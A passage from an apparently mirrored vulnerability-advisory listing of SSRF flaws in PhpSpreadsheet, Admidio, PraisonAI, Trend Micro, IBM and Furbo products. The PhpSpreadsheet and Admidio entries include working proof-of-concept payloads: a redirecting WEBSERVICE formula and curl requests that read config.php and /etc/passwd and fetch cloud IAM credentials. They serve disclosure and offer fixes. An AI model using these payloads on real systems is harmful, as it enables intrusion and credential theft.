direct loopback rejection, public-to-loopback\nredirect rejection, public-to-public redirects if supported, and all\n`scrape_page()` callers.",
  "id": "GHSA-6h9p-93hq-q7h6",
  "modified": "2026-07-20T21:24:09Z",
  "published": "2026-06-18T13:55:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h9p-93hq-q7h6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: SpiderTools redirect-target SSRF protection bypass"
}

GHSA-6HQ5-7373-42RG

Vulnerability from github – Published: 2026-07-23 14:55 – Updated: 2026-07-23 14:55
VLAI
Summary
PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
Details

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

$ctxArray = [
    'http' => [
        'user_agent' => 'Mozilla/5.0 ...',
        // follow_location defaults to true
        // max_redirects defaults to 20
    ],
];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}

// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites: - Application uses PhpSpreadsheet >= 5.4.0 - Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain - Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

  1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).

  2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:

<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
  1. Upload the XLSX to the target application. The calculation engine:
  2. Validates whitelisted-domain.com against the whitelist — passes
  3. Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
  4. file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ — no re-validation
  5. Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target

# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)

# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

  • Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
  • Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via http://169.254.169.254/
  • Access internal services not exposed to the internet
  • Port-scan internal networks via any whitelisted hostname (port is not validated)

This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.

Attack scenarios: - Whitelisted domain has an open redirect vulnerability - Attacker controls the whitelisted domain (e.g., a free-tier API service) - DNS rebinding after the whitelist check

Suggested Fix

Disable redirect following in the stream context:

$ctxArray = [
    'http' => [
        'user_agent' => '...',
        'follow_location' => false,
        'max_redirects' => 0,
    ],
];

Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.

Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.

Related

This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.

Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-23T14:55:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL\u0027s hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.\n\n### Details\n\nIn `Calculation/Web/Service.php`, the `webService()` method validates the URL\u0027s host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content.\n\nThe stream context does not disable redirect following:\n\n```php\n$ctxArray = [\n    \u0027http\u0027 =\u003e [\n        \u0027user_agent\u0027 =\u003e \u0027Mozilla/5.0 ...\u0027,\n        // follow_location defaults to true\n        // max_redirects defaults to 20\n    ],\n];\n```\n\nPHP\u0027s HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.\n\n**Vulnerable code** (`Calculation/Web/Service.php`):\n\n```php\n// Whitelist check \u2014 runs ONCE on the initial URL\n$domainWhiteList = $cell?-\u003egetWorksheet()-\u003egetParent()?-\u003egetDomainWhiteList() ?? [];\n$host = $parsed[\u0027host\u0027] ?? \u0027\u0027;\nif (!in_array($host, $domainWhiteList, true)) {\n    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;\n}\n\n// HTTP request \u2014 follows redirects to ANY destination\n$ctx = stream_context_create($ctxArray);\n$output = @file_get_contents($url, false, $ctx);\n```\n\nAdditionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host.\n\n### PoC\n\n**Prerequisites:**\n- Application uses PhpSpreadsheet \u003e= 5.4.0\n- Application calls `$spreadsheet-\u003esetDomainWhiteList([...])` with at least one domain\n- Application calls `$cell-\u003egetCalculatedValue()` on uploaded XLSX files\n\n**Attack steps:**\n\n1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).\n\n2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:\n\n```xml\n\u003cc r=\"A1\"\u003e\n  \u003cf\u003e_xlfn.WEBSERVICE(\"http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/\")\u003c/f\u003e\n\u003c/c\u003e\n```\n\n3. Upload the XLSX to the target application. The calculation engine:\n   - Validates `whitelisted-domain.com` against the whitelist \u2014 **passes**\n   - Calls `file_get_contents(\"http://whitelisted-domain.com/redirect?url=...\")` \n   - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` \u2014 **no re-validation**\n   - Returns the cloud metadata response as the cell\u0027s calculated value\n\n**Lab reproduction:**\n\n```bash\n# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)\n# App whitelists \"trusted-api.example.com\"\n# Redirect server on trusted-api.example.com:7071 returns 302 \u2192 internal target\n\n# Test 1: Direct internal access \u2014 BLOCKED by whitelist\n=WEBSERVICE(\"http://127.0.0.1:9090/internal-api/secrets\")\n\u2192 Result: null (blocked)\n\n# Test 2: Via redirect from whitelisted domain \u2014 BYPASS\n=WEBSERVICE(\"http://trusted-api.example.com:7071/redirect-to-internal\")\n\u2192 Result: {\"ssrf\":\"CONFIRMED\",\"secret\":\"internal-api-key-LATEST\",\"server\":\"Linux ...\"}\n```\n\nConfirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).\n\n### Impact\n\nAn attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can:\n\n- **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets\n- **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/`\n- **Access internal services** not exposed to the internet\n- **Port-scan internal networks** via any whitelisted hostname (port is not validated)\n\nThis is a full-read SSRF \u2014 the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell\u0027s calculated value.\n\n**Attack scenarios:**\n- Whitelisted domain has an open redirect vulnerability\n- Attacker controls the whitelisted domain (e.g., a free-tier API service)\n- DNS rebinding after the whitelist check\n\n### Suggested Fix\n\nDisable redirect following in the stream context:\n\n```php\n$ctxArray = [\n    \u0027http\u0027 =\u003e [\n        \u0027user_agent\u0027 =\u003e \u0027...\u0027,\n        \u0027follow_location\u0027 =\u003e false,\n        \u0027max_redirects\u0027 =\u003e 0,\n    ],\n];\n```\n\nAlternatively, if redirects must be supported, implement manual redirect following that re-validates each hop\u0027s hostname against the domain whitelist.\n\nAdditionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.\n\n### Related\n\nThis vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions \u003c 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.\n\nExisting SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.\n\n---",
  "id": "GHSA-6hq5-7373-42rg",
  "modified": "2026-07-23T14:55:48Z",
  "published": "2026-07-23T14:55:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist"
}

GHSA-6HX5-9Q4P-P96W

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41
VLAI
Details

A server-side request forgery (SSRF) information disclosure vulnerability in Trend Micro OfficeScan XG SP1 and Worry-Free Business Security 10.0 SP1 could allow an unauthenticated user to locate online agents via a specific sweep.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-25236"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-04T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery (SSRF) information disclosure vulnerability in Trend Micro OfficeScan XG SP1 and Worry-Free Business Security 10.0 SP1 could allow an unauthenticated user to locate online agents via a specific sweep.",
  "id": "GHSA-6hx5-9q4p-p96w",
  "modified": "2022-05-24T17:41:07Z",
  "published": "2022-05-24T17:41:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25236"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/solution/000284205"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/solution/000284206"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-120"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6J35-XV72-GPPJ

Vulnerability from github – Published: 2023-07-19 03:30 – Updated: 2024-04-04 06:16
VLAI
Details

IBM Sterling Connect:Express for UNIX 1.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 252135.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-29260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-19T02:15:09Z",
    "severity": "MODERATE"
  },
  "details": "IBM Sterling Connect:Express for UNIX 1.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.  IBM X-Force ID:  252135.",
  "id": "GHSA-6j35-xv72-gppj",
  "modified": "2024-04-04T06:16:48Z",
  "published": "2023-07-19T03:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29260"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/252135"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7010923"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6J3Q-G2MV-78P6

Vulnerability from github – Published: 2025-10-12 15:30 – Updated: 2025-10-12 15:30
VLAI
Details

A security vulnerability has been detected in Tomofun Furbo 360 up to FB0035_FW_036. This issue affects some unknown processing of the component Account Handler. Such manipulation leads to server-side request forgery. The attack can be executed remotely. This attack is characterized by high complexity. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
5.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
6.3 (Medium)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-11636"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-12T15:15:59Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in Tomofun Furbo 360 up to FB0035_FW_036. This issue affects some unknown processing of the component Account Handler. Such manipulation leads to server-side request forgery. The attack can be executed remotely. This attack is characterized by high complexity. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-6j3q-g2mv-78p6",
  "modified": "2025-10-12T15:30:16Z",
  "published": "2025-10-12T15:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11636"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.328047"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.328047"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.661361"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6J68-GCC3-MQ73

Vulnerability from github – Published: 2026-03-16 21:17 – Updated: 2026-03-20 21:19
VLAI
Summary
Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint
Details

Summary

The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.

Details

Vulnerable Code

File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34

$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
    http_response_code(500);
    echo "Failed to fetch metadata";
    exit;
}

echo $metadata;

FILTER_VALIDATE_URL Does Not Block Dangerous Schemes

PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():

Scheme Impact
file:///etc/passwd Read any local file the web server process can access
http://127.0.0.1/ SSRF to localhost services (databases, admin panels, internal APIs)
http://169.254.169.254/latest/meta-data/ AWS EC2 instance metadata (IAM credentials)
data://text/plain,payload Data URI content injection

Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:

php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd"  <-- passes validation

php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash  <-- file contents returned

file:// Does Not Require allow_url_fopen

PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.

Response Is Returned Verbatim

The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.

PoC

Prerequisites: Administrator account session cookie and CSRF token.

Step 1: Read the Admidio database configuration file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///var/www/html/adm_my_files/config.php"

Expected response: Full contents of config.php including the database host, username, and password in plaintext.

Step 2: Read system password file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///etc/passwd"

Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Expected response: IAM role name followed by temporary AWS access key and secret.

Step 4: SSRF to an internal service on localhost

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://127.0.0.1:6379/"

(Probes a Redis instance on localhost.)

Impact

  • Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's config.php (database credentials), /etc/passwd, private keys stored in the web root, and .env files.
  • Database Credential Theft: Reading config.php exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.
  • Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.
  • Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.
  • Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.

Recommended Fix

Fix 1: Restrict to HTTPS scheme and block internal IP ranges

$rawUrl = $_GET['url'] ?? '';

// Only allow https:// scheme
if (\!preg_match('#^https://#i', $rawUrl)) {
    http_response_code(400);
    echo "Only HTTPS URLs are permitted";
    exit;
}

$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (\!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Resolve hostname and block internal/private IP ranges
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
    http_response_code(400);
    echo "URL resolves to a private or reserved IP address";
    exit;
}

$metadata = file_get_contents($url);

Fix 2: Use cURL with explicit scheme restriction

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$metadata = curl_exec($ch);
curl_close($ch);

Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T21:17:57Z",
    "nvd_published_at": "2026-03-20T02:16:35Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe SSO metadata fetch endpoint at `modules/sso/fetch_metadata.php` accepts an arbitrary URL via `$_GET[\u0027url\u0027]`, validates it only with PHP\u0027s `FILTER_VALIDATE_URL`, and passes it directly to `file_get_contents()`. `FILTER_VALIDATE_URL` accepts `file://`, `http://`, `ftp://`, `data://`, and `php://` scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the `file://` wrapper (Local File Read), reach internal services via `http://` (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.\n\n## Details\n\n### Vulnerable Code\n\nFile: `D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php`, lines 9-34\n\n```php\n$url = filter_var($_GET[\u0027url\u0027], FILTER_VALIDATE_URL);\nif (!$url) {\n    http_response_code(400);\n    echo \"Invalid URL\";\n    exit;\n}\n\n// Fetch metadata from external server\n$metadata = file_get_contents($url);\nif ($metadata === false) {\n    http_response_code(500);\n    echo \"Failed to fetch metadata\";\n    exit;\n}\n\necho $metadata;\n```\n\n### FILTER_VALIDATE_URL Does Not Block Dangerous Schemes\n\nPHP\u0027s `FILTER_VALIDATE_URL` is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by `file_get_contents()`:\n\n| Scheme | Impact |\n|--------|--------|\n| `file:///etc/passwd` | Read any local file the web server process can access |\n| `http://127.0.0.1/` | SSRF to localhost services (databases, admin panels, internal APIs) |\n| `http://169.254.169.254/latest/meta-data/` | AWS EC2 instance metadata (IAM credentials) |\n| `data://text/plain,payload` | Data URI content injection |\n\nConfirmed by testing PHP\u0027s filter_var() and file_get_contents() with all of the above:\n\n```\nphp -r \"var_dump(filter_var(\u0027file:///etc/passwd\u0027, FILTER_VALIDATE_URL));\"\n// string(18) \"file:///etc/passwd\"  \u003c-- passes validation\n\nphp -r \"echo file_get_contents(\u0027file:///etc/passwd\u0027);\"\n// root:x:0:0:root:/root:/bin/bash  \u003c-- file contents returned\n```\n\n### file:// Does Not Require allow_url_fopen\n\nPHP\u0027s `file://` stream wrapper is the native filesystem handler and is always available regardless of the `allow_url_fopen` INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.\n\n### Response Is Returned Verbatim\n\nThe fetched content is echoed directly at line 34 (`echo $metadata`), making the complete contents of any readable local file or internal service response available to the caller.\n\n## PoC\n\n**Prerequisites:** Administrator account session cookie and CSRF token.\n\n**Step 1: Read the Admidio database configuration file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n  --data-urlencode \"url=file:///var/www/html/adm_my_files/config.php\"\n```\n\nExpected response: Full contents of config.php including the database host, username, and password in plaintext.\n\n**Step 2: Read system password file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n  --data-urlencode \"url=file:///etc/passwd\"\n```\n\n**Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n  --data-urlencode \"url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\nExpected response: IAM role name followed by temporary AWS access key and secret.\n\n**Step 4: SSRF to an internal service on localhost**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n  --data-urlencode \"url=http://127.0.0.1:6379/\"\n```\n\n(Probes a Redis instance on localhost.)\n\n## Impact\n\n- **Local File Read:** The attacker can read any file accessible to the PHP web server process, including Admidio\u0027s `config.php` (database credentials), `/etc/passwd`, private keys stored in the web root, and `.env` files.\n- **Database Credential Theft:** Reading `config.php` exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.\n- **Cloud Metadata Exposure:** On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.\n- **Internal Network Reconnaissance:** The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.\n- **Scope Change:** Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, 